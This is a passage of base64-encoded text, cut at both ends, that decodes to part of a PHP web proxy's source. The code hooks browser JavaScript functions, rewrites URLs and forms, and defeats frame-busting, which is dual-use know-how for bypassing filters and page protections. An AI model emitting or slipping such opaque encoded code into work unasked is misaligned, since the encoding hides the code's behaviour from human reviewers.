yb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRo